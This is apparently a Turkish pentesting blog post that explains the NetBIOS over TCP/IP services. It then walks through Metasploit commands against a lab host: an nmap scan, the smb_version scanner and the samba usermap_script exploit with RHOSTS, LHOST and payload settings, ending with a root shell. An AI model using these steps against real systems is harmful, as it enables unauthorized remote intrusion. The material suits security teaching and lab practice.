NetBIOS Nedir? NetBIOS over TCP/IP NetBIOS over TCP/IP (NBT ya da NetBT) eski bilgisayarlardaki NetBIOS API tabanlı uygulamaların m...

NetBIOS over TCP/IP | 139/tcp | Pentesting

9/24/2017 0 Yorumlar



NetBIOS Nedir?

NetBIOS over TCP/IP

NetBIOS over TCP/IP (NBT ya da NetBT) eski bilgisayarlardaki NetBIOS API tabanlı uygulamaların modern TCP/IP ağlarında kullanılmalarını sağlayan ağ protokolü.

1980’lerin başında geliştirilen NetBIOS, çok küçük ağları hedef almıştı (yaklaşık bir düzine bilgisayar). Günümüzde bazı uygulamalar hala NetBIOS kullanıyor ve NetBIOS, NBF üzerinden çalıştırıldığında yüzlerce bilgisayardan oluşan ağlarda iyi bir ölçeklendirme yapamıyor. NBT ise doğru bir şekilde yapılandırıldığında, bu uygulamaların devasa TCP/IP ağlarında hiçbir değişikliğe gerek kalmadan çalıştırılmasına olanak sağlıyor.

NBT RFC 1001 ve RFC 1002 olarak tanımlanmıştır.

NetBIOS üç ayrı hizmet sunmaktadır:

İsim kaydı ve çözümlemesi için isim hizmeti (portlar: UDP/137 ve TCP/137)
Bağlantısız iletişim için veri birimi dağıtım hizmeti (port: UDP/138)
Bağlantı tabanlı iletişim için oturum hizmeti (port: TCP/139)
İsim hizmeti
NetBIOS’ta her bir katılımcı en fazla 15 karakterden oluşan benzersiz bir ad kullanarak ağa kaydolmalıdır. Eski ağlarda yeni bir uygulama bir isim almak istediği zaman "Bu ismi kullanan biri var mı?" diyen bir yayın yapmak ve gelecek olan cevabı beklemek zorundaydı. Eğer cevap gelmezse belirtilen ismin kullanılmadığı anlaşılırdı. Ancak, bu bekleme süresi birkaç saniye sürdüğünden isim kaydı uzun süren bir süreç halini alıyordu. Çünkü ismin başka bir uygulama tarafından kullanılmadığını anlamanın tek yolu herhangi bir geri dönüşün olmaması idi.

NBT ise tüm isim kayıtlarını saklayan merkezi bir depo veya bir İsim Hizmeti sağlar. Bu nedenle isim almak isteyen bir uygulama isim sunucusu (bilinen bir ağ adresi)na bağlanır ve ismin daha önce kayıtlı olup olmadığını sorar. Eğer isim veritabanında yoksa bu kullanılabilir olduğu anlamına gelir ve sunucu hemen cevap verir. Bu diğerine göre çok daha hızlı bir süreçtir. RFC 1001 ve 1002’ye göre isim hizmetinin adı NetBIOS Naming Service veya NBNS’dir. Microsoft WINS NBNS’nin bir uygulamasıdır.

İsim hizmetinin paket formatları DNS ile özdeştir. Temel farklılıklar NetBIOS’ta ek olarak "Düğüm Durumu" sorgusu, dinamik kayıt ve çakışma işaretleme paketleri olmasıdır. Bunlar UDP’de kapsüllenirler. Daha sonra NetBIOS ismini DNS gibi hiyerarşik hale getiren ve isteğe bağlı Kapsam bölümü uygulanır ancak bu nadiren kullanılan bir özelliktir.

Ayrıca, bir oturum başlatmak veya veri birimini yayın yapmak yerine belirli bir hosta göndermek için, NBT host’un IP adresini belirlemesi gerekir. Bu işlem bir "İsim Sorgusu" paketi yayını, ve/veya bunu NetBIOS isim sunucusuna göndererek yapılır. Gelen cevap host’un IP adresini içerir.

İlginç bir diğer nokta ise NBNS’nin ilk dinamik peer-to-peer dağıtılmış isim kayıt hizmetlerinden biri olduğudur.

Veri birimi dağıtım hizmeti
Veri birimi modu "bağlantısız"; NetBIOS veri birimleri UDP üzerinden gönderilir. Eğer bir veri birimi belirli bir NetBIOS adına gönderiliyorsa "Doğrudan Benzersiz" veya "Doğrudan Grup" paketi ile gönderilir. Eğer ağdaki tüm NetBIOS adlarına gönderiliyorsa bir "Yayın" paketi ile gönderilir.

Oturum hizmeti
Oturum modu iki bilgisayarın "haberleşmesi" ve hata tespiti için bir bağlantı kurmasını sağlar.

Oturum paket değiş-tokuşu ile sağlanır. Bilgisayar oturumu başlatmak için karşıdaki bilgisayarın 139 numaralı portundan TCP bağlantısı kurar. Bağlantı sağlanırsa, bilgisayar oturumu kurar ve bağlantı üzerinden oturum kuran uygulamaya ait NetBIOS adı ve oturumun kurulacağı NetBIOS adını, bir "Oturum İsteği" paketi ile beraber gönderir. Oturum kurulan bilgisayar oturum kurulabileceğini belirten bir "Olumlu Oturum Yanıtı" ile veya oturum kurulamayacağını (çünkü o bilgisayar bu adla kurulan oturumları dinlemiyor olabilir veya o adla bir oturum oluşturmak için herhangi bir kaynak mevcut değildir) belirten bir "Olumsuz Oturum Yanıtı" ile cevap verir.

Veri oturum kuruluyken Oturum Mesajı paketleri ile gönderilir.

Tüm oturum hizmeti paketlerinin akış kontrolü ve yeniden iletimi, paketlerin iletileceği veri akışının, bağlantı katmanı paketlerine sığacak kadar küçük IP veri birimlerine bölünmesi TCP tarafından sağlanır.

Oturum TCP bağlantısı kapatılarak sonlanır.

Güvenlik açıkları

SMB (Server Message Block) ve NetBIOS over TCP/IP protokolleri ağ hakkında büyük miktarda detaylı ve hayati öneme sahip bilgiyi açığa çıkarabilir. Özellikle NetBIOS saldırgana ağın haritasını çıkartma imkanı sunabilir. Bu tür senaryolarda her iki servisi de devre dışı bırakmak ağın güvenliğini oldukça yükseltecektir. kaynak:wikipedia

"nmap -sV -p 3632 192.168.198.129" -> nmap -sS -p <taranacak_port> <hedef_ip> şeklinde yazdık.



############################################################################################

"search smb_version" -> SMB (Server Message Block) servisinin hangi sürümünü kullanduğını öğrenmek için smb_version modülünü kullanacağız.

"set RHOSTS" -> set komutuyla RemoteHost yani kurbanın ip adresini girdik.

"exploit/run" -> diyip bilgi toplaması için komut verdik.





############################################################################################

"search usermap_script" -> samba usermap script adlı kullanıcı haritasını çıkaran exp. sayesinde sisteme sızmaya çalışıcaz.

"use exp_name" -> use komutuyla exploit’i kullanacağız

exploit(usermap_script)"show options" -> Exploit’in sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık.



############################################################################################

exploit(usermap_script)"set rhosts" -> Hedef ip yazıyoruz.
exploit(usermap_script)" show payloads " diyip , payloadları listeliyoruz.



############################################################################################

exploit(usermap_script)" set PAYLOAD <kullanılacak_payload>" -> Kullanacağımız payload’ı ayarlıyoruz.
exploit(usermap_script)"set lhost" -> Local ip adresimizi yazıyoruz. Komut çalıştırabileceğiniz cmd prompt’una win: ipconfig / linux: ifconfig yazıp öğrenebilirsiniz.



exploit(usermap_script)"set rport" -> Hedef sistemin sızma girişiminde bulunulacak (netbios servisinin çalıştığı port)’u yazıyoruz.

exploit(usermap_script)"exploit" -> Sızma işlemini başlatıyoruz.

Shell açıldı , root olduğumuzu görüyorsunuz :)



############################################################################################

0 yorum: